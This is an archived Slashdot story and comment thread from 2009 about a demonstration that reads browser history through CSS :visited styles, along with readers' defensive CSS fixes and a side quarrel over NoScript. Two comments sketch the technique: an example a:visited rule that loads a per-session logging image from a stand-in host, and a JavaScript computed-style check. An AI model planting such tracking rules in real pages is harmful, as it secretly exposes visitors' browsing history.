Slashdot Log In
Sniffing Browser History Without Javascript
Posted by
kdawson
on Sat Jun 13, 2009 07:32 PM
from the hole-in-css dept.
from the hole-in-css dept.
Ergasiophobia alerts us to a somewhat alarming technology demonstration, in which a Web site you visit generates a pretty good list of sites you have visited — without requiring JavaScript. NoScript will not protect you here. The only obvious drawbacks to this method are that it puts a load on your browser, and that it requires a list of Web sites to check against. "It actually works pretty simply — it is simpler than the JavaScript implementation. All it does is load a page (in a hidden iframe) which contains lots of links. If a link is visited, a background (which isn't really a background) is loaded as defined in the CSS. The 'background' image will log the information, and then store it (and, in this case, it is displayed to you)."
Related Stories
This discussion has been archived.
No new comments can be posted.
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
Full
Abbreviated
Hidden
Loading... please wait.
Well, we fixed it... (Score:5, Funny)
Old stuff (Score:5, Informative)
Re:Old stuff (Score:4, Informative)
Long before that, honestly.
There are Firefox extensions that can help protect against this (see http://www.safecache.com/ and http://www.safehistory.com/ ), but they break enough things on the web that even their creators admit they're not terribly practical.
(Disclaimer: Two of the folks that worked on this also worked for awhile on Chromium with me.)
Parent
Re:Old stuff (Score:5, Informative)
Alternatively, add
a:visited { background-image: none ! important; }
To your userContent.css
I can confirm that this works.
Parent
Re:Old stuff (Score:5, Informative)
Bug 57351 - css on a:visited can load an image and/or reveal if visitor been to a site
Reported: 2000-10-19 16:57 PDT by Jesse Ruderman
Parent
Re:Old stuff (Score:5, Informative)
Bug 57351
Was marked ass a duplicate of 147777
See: https://bugzilla.mozilla.org/show_bug.cgi?id=147777 [mozilla.org]
Vitaly Sharovatov and Walt Gordon Jones have an interesting back and forth on ideas for a proper fix. Search the page linked below for "Walt Gordon Jones" to follow the conversation.
http://sharovatov.wordpress.com/2009/04/21/startpaniccom-and-visited-links-privacy-issue/ [wordpress.com]
Walt Gordon Jones summarizes his point:
The idea that the only way to protect your history data is to give up keeping history at all seems broken to me. Just because the information is in the browser, and I may use it in other ways, doesn't mean it has to be used to mark up the rendered HTML on sites I visit. There's nothing that inextricably ties history to the browser's rendering engine.
Parent
Re:Old stuff (Score:5, Insightful)
Parent
Re:Old stuff (Score:5, Interesting)
Parent
Re:Old stuff (Score:4, Informative)
No it wouldn't. Most legitimate sites don't do anything exotic with the visited property, they just change color or font properties. Even those that do use the background property or some other property that accepts urls will have a single url that applies to all or a large class of visited links. The only sites that would generate a lot of bandwidth are the tiny minority that intentionally have a different visited resource for each link on their site. They have an interest in keeping this bandwith low themselves and will make those resources to be as small as possible. Hell, the CSS dictating all these resources might even be as large as the resources themselves. Honestly, this is a complete non-issue compared to the bandwidth problems caused by plain old bad site design.
Parent
Re: (Score:3, Interesting)
Sure... Me, I can just turn off my history if I don't want sites sniffing it this way. What ever made me think, in this day and age, that anything I do, on the net or not, is private?
Sorry, not to bash you, just sad commentary.....
Re: (Score:3, Interesting)
Can you perhaps explain the non-Javascript version in simpler terms than what's on the story's webpage? The explanation on the page is either very vague, or over my head. (Or both.)
I fully understand how you can use Javascript to grab the computed style of the A tag and figure out if it matches the ":visited" style you have defined, but what I don't get is how he's grabbing the style using only server-side technologies. Since when is it possible for a web server to tell the computed style of an element?
Re: (Score:3, Interesting)
Oh wait, I think I just got it.
What he's doing is setting your CSS A:visited property to a image URL, which is defined based on your browser session. Something like:
a:visited { background-image: url( http://scansite.com/image.gif?s=yahoo_com&c=45353535 [scansite.com] ); } Then he's coded up a PHP script that'll log the code at the end of the image URL, and track it in your PHP session variable, or a database.
So, the flowchart looks like:
1) User visits page
2) PHP script generates session ID for the visit
3) PHP script w
Re: (Score:3, Interesting)
I for one would be quite happy if browsers disabled the ability to use the :visited pseudoclass in your own CSS, which would kill this one stone dead. It's hard enough getting designers to specify :hover states for links, and practically impossible to get :active states out of them - if they're even needed, which is debatable. Who bothers with :visited states? In anything other than body text, users are unlikely to understand why a certain link looks different anyway. It is occasionally useful to spot that
big issue is NoScript (Score:5, Informative)
Re:big issue is NoScript (Score:5, Interesting)
This is not a troll. I wouldn't go so far as saying NoScript is malware, but the author is unscrupulous. For what the addon does, it sure gets updated a lot!
Parent
Re: (Score:3, Informative)
He was trying to work around a problem with easylist and handled it badly but easylist is as much to blame for targeting him.
He answers his emails if you care to ask but easylist has ignored me so far.
Re:big issue is NoScript (Score:5, Insightful)
Parent
Re: (Score:3, Informative)
So the mods could come in here and explain, but then their mods would be gone :)
Heisenberg, we hardly knew ya.
E
Re:OT: Re:big issue is NoScript (Score:5, Insightful)
Then perhaps you haven't understood the concept behind the rule. The idea is to prevent individuals having unrestrained ability to push an agenda of their own: hence mod or post, but not both.
Unlike some other long-standing rules on this forum, this is one that actually has very sound reasoning behind it.
Parent
Re:big issue is NoScript (Score:5, Interesting)
Parent
Re:big issue is NoScript (Score:5, Interesting)
On the surface it seems like NoScript had descended into the point of malware, but take a look into the history of why Giorgio did what he did [hackademix.net] and you will see that AdBlockPlus (Wladimir) and EasyList (Ares2) weren't entirely innocent in the matter (namely specifically blacklisting NoScript's domains). I notice that Giorgio was quick to apologise for his part, but Wladimir still refuses to apologise for his actions that certainly contributed.
Yes, there needs to be a more trustworthy NoScript, but at the same time there also need to be a more trustworthy AdBlockPlus and more transparency over subscription filtersets like EasyList.
I, personally have taken AdBlockPlus off my system, not because of this debacle, but because one of the updates recently broke my browser. I have found Privoxy much better suited to my needs.
Parent
Re: (Score:3, Interesting)
Yeah, I find a proxy based solution much better for keeping the bad things out, also has the bonus of protecting my steam browser, my mobile phone browser (when browsing on my wireless) and other in-game browsers for different games.
NoScript is to stop a problem specific to that web browser (namely its masochistic tendency to run scripting like it was "the last line of crack it was ever going to get"), whereas ad sites are needed to be blocked no matter what browser you are on (even lynx).
Re:big issue is NoScript (Score:5, Insightful)
Letting someone else's code run on my computer is an act of trust. Once they've shown they're untrustworthy, that's it, as far as I'm concerned. The world's best security software is no good if the author is someone who's demonstrated at least once that you can't trust him.
This is an interesting statement, but I don't understand your reasoning. Maybe you could explain more. Have the developers of Firefox done something untrustworthy?
I don't understand how you know so much about my computer. Maybe you could explain more how you became so well informed about what's on my hard disk. I'm running Ubuntu. Are you aware of a lot of crapware that comes with a freshly installed Ubuntu system? Are you aware of a lot of malware that's been observed in the wild infecting Ubuntu systems? If so, I'd be very interested to hear about it.
Parent
Re:big issue is NoScript (Score:5, Funny)
Does Ubuntu come with emacs?
Parent
Re:big issue is NoScript (Score:5, Insightful)
The issue isn't that the software had a bug that had to be fixed. The issue is that the author of the software has shown himself to be untrustworthy by making his software interfere with other software, for the purpose of increasing his own financial gain from ads.
Parent
Re: (Score:3, Insightful)
If anything, I'd say the author of Noscript has proved two things: one, that he is human and makes mistakes, and two, that he has the integrity of character to appologise for his mistakes and rectify them. Neither of which makes him any less trustworthy than anyone else.
Unless you're one of those people who believes that anyone less than perfect with a flawless record of behaviour deserves to be castigated for all time for their transgressions, i suggest you consider a concept called 'forgiveness' which, I
Re:big issue is NoScript (Score:5, Informative)
From what I hear, he only "apologized" and fixed the problem for several reasons:
1. Because the Firefox devs said that NoScript was breaking Firefox's Add-on Policy [mozilla.org] when it started monkeying around with AdBlock Plus.
2. NoScript's rating was plummeting on the Firefox Add-on site. If this rating drops too much, NoScript would no longer be considered a trusted add-on, and therefore every version would be subject to security review before it exited the Sandbox [mozilla.org].
Oh, yes, you read that correctly. NoScript is currently not reviewed before new versions go up on the Firefox add-on site.
Incidentally, Mozilla made a new policy [mozilla.com] spelling out some restrictions for add-ons after this incident.
Parent
Re:big issue is NoScript (Score:5, Insightful)
If someone borrowed your car and backed into a telephone pole, you would be upset. If they paid for the damages, you would probably forgive them. But the question is: Would you trust them with your car..?
Parent
How to interpret results (Score:4, Funny)
then it means you've come from Slashdot.
Doesn't work on me (Score:3, Informative)
Doesn't work on me - Firefox, with adblock plus, element hiding helper, and flashblock, running whatever the latest Ubuntu is.
Re:Doesn't work on me (Score:4, Funny)
It's a start!
Parent
Old, sure... (Score:4, Interesting)
... and maybe even nefarious, but you've got to admit: it's a neat hack (in the original sense of the word--i.e., clever)
Alarming? (Score:3, Insightful)
Re: Alarming? (Score:3, Funny)
Well, at least I don't have the hiccups any more.
.
.
In Soviet Russia, web sites visit you (Score:4, Interesting)
I'm letting it scan my browser now. So far the only thing it has found is Slashdot. It could maybe find sites that I've followed links from Slashdot to. But it won't find much because I run a separate browser instance, with its own (initially empty) browser history, cookies, etc, for each site I visit via by the means I have set up to start a new browser (command line script, and menu selection for the browser). And for those of you who are wanting to tell me "but Firefox just joins all startups into the same process and only gives you a new window". Well, I defeated that by dynamically creating a new home directory on the fly for each startup, populating it with a template set of files Firefox expects, setting the HOME environment variable to that path, and starting the Firefox process. So the scanning of my browser is limited to just what this one I use for Slashdot has visited recently.
Re: (Score:3, Informative)
So... you posted just to brag about the extreme efforts you go to to support your irrational paranoia?
Thanks, I guess?
simple block (Score:3, Informative)
putting the rule
a:visited {
background:none !important;
in userContent.css seems to stop this particular scan.
Re:Will it.. (Score:4, Informative)
Parent
Re:For the Masses (Score:4, Insightful)
Anyone who allows their browser to cache and keep a history is stupid? Perhaps your tin foil hat is a size too small.
Parent
Re: (Score:3, Informative)
Maybe just clear your cache more often. It's easy, fast and good practice. Ctrl-Shift-Del, press enter.
Do this every time you close FF.
Re:For the Masses (Score:5, Insightful)
Some of us actually use the browser history.
Parent
Re:For the Masses (Score:5, Funny)
And some of us use one browser for their everyday surfing and one for the naughty pages... I mean, I would do that if I surfed to naughty pages, of course...
Parent
Re: (Score:3, Informative)
Small but important distinction: this exploit is for browser history, not cache. That shortcut (or shift-command-delete* on a Mac) will bring up the 'clear private data' dialog which covers browser history (the one this exploit is for), download history, saved form and search history, browser cache, and other items.
* Unlike PCs, which have 'backspace' and '(forward) delete' buttons, Macs have two buttons labeled 'delete' or 'del'--the big one which is backspace, and the small one next to help, home, end, et
Re:For the Masses (Score:5, Insightful)
Most people will never understand and basic exploits like this will always work against them.
So what, we shouldn't fix it then? The fix is dead-simple: the browser should load all "a:visited" images, regardless of whether or not it will display them.
Parent
Re:For the Masses (Score:4, Interesting)
It's not DEAD-SIMPLE. I'd imagine the only real way is to kill "visited" functionality all together. Blocking images will just block that one exploit. JS isn't needed for this exploit, but it could be used to create other ones.
If a page has the rule: a:visited { color: red; }
And I have a link element with id="myElement". I can just do something like: if($('myElement').style.color === '#f00') alert('scream real loud (with ajax, or load an image.. or something)');
I just thought of that one off hand. Someone may be able to come up with something trickier that requires no js.
The point here is, the solution is not dead simple.
Parent
Re: (Score:3, Interesting)
is there really a good need or use for a hidden flag on iframes at all??
I honestly don't know, maybe its one of the more handy features in there, and I just don't see it from the user side of things, but 'hidden' is not an attribute I would ever imagine wanting on a frame or iframe...
With CSS you can hide anything you want to, in a number of different ways, and there are myriad reasons for wanting to do this. Most ajax sites would look a lot worse if the frames they use to silently load your data in the background were suddenly visible.
Re:Chrome (Score:5, Informative)
would be a lot easier if I could run two separate instances of Firefox simultaneously.
Send Firefox developers a polite nasty-gram, telling them that you want the ability to open a second, third, or even fourth instance of FF in seperate memory space.
This functionality already exists [mozillazine.org].
"%programfiles%\Mozilla Firefox\firefox.exe" -P "profile to use" -no-remote
Parent
Re:It requires an iframe, so noscript will help yo (Score:5, Informative)
It does not require an iframe. It's just that this way it's easier to hide any visual clues.
The basic hack works simple. It sets a different style for visited links. (As such it will only match exact URLs). And one of the cool things your style for visited links specifies is a background URL that works as a webbug.
yacc
Parent
Re: (Score:3, Interesting)
IMHO a better fix is to completely disable looking up browser history for link styling. Let it treat all links as unvisited if there is no difference in styling these different classes of links. Make it the default to use the same style (most people don't care). Then re-enable the lookup if the styles are changed and the result of the change is 2 or more different styles (and pop up a warning that JS and CSS and see these style variations and this can expose detection of sites you have visited).
Re: (Score:3, Informative)
You should only load remote images on demand.
[...]
Yeah , I know must be new here..
You're not new here, I can tell by the fact that you didn't read the article. Or the summary ;)
This feature actually works like you want it to: It *does* load on demand. And that's the problem here. If it always loaded it this exploit wouldn't work. Its based on only being loaded on demand.